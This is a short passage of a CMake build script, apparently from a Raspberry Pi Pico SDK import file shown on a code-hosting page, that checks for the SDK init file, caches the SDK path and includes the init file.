if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE})
|
||||
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK")
|
||||
endif ()
|
||||
|
||||
set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE)
|
||||
|
||||
include(${PICO_SDK_INIT_CMAKE_FILE})
|
||||
Reference in New Issue
Block a user